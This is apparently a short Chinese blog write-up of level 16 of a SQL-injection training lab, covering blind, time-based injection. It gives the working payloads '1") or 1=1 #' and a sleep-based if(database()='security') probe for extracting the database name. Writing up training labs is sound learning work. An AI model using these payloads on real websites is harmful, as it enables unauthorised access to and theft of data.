Less-16【盲注+时间注入】

利用单引号双引号测试无效,结合之前的测试符号里利用 ") 注入成功
1") or 1=1 #
后续与之前测试过程一样,进行脱库
123") or if((database()='security'),sleep(0.3),sleep(0.1))#
 
posted @ 2020-11-01 10:34  峰中追风  阅读(111)  评论(0编辑  收藏  举报

___________________________________________________________________________________________没有白跑的路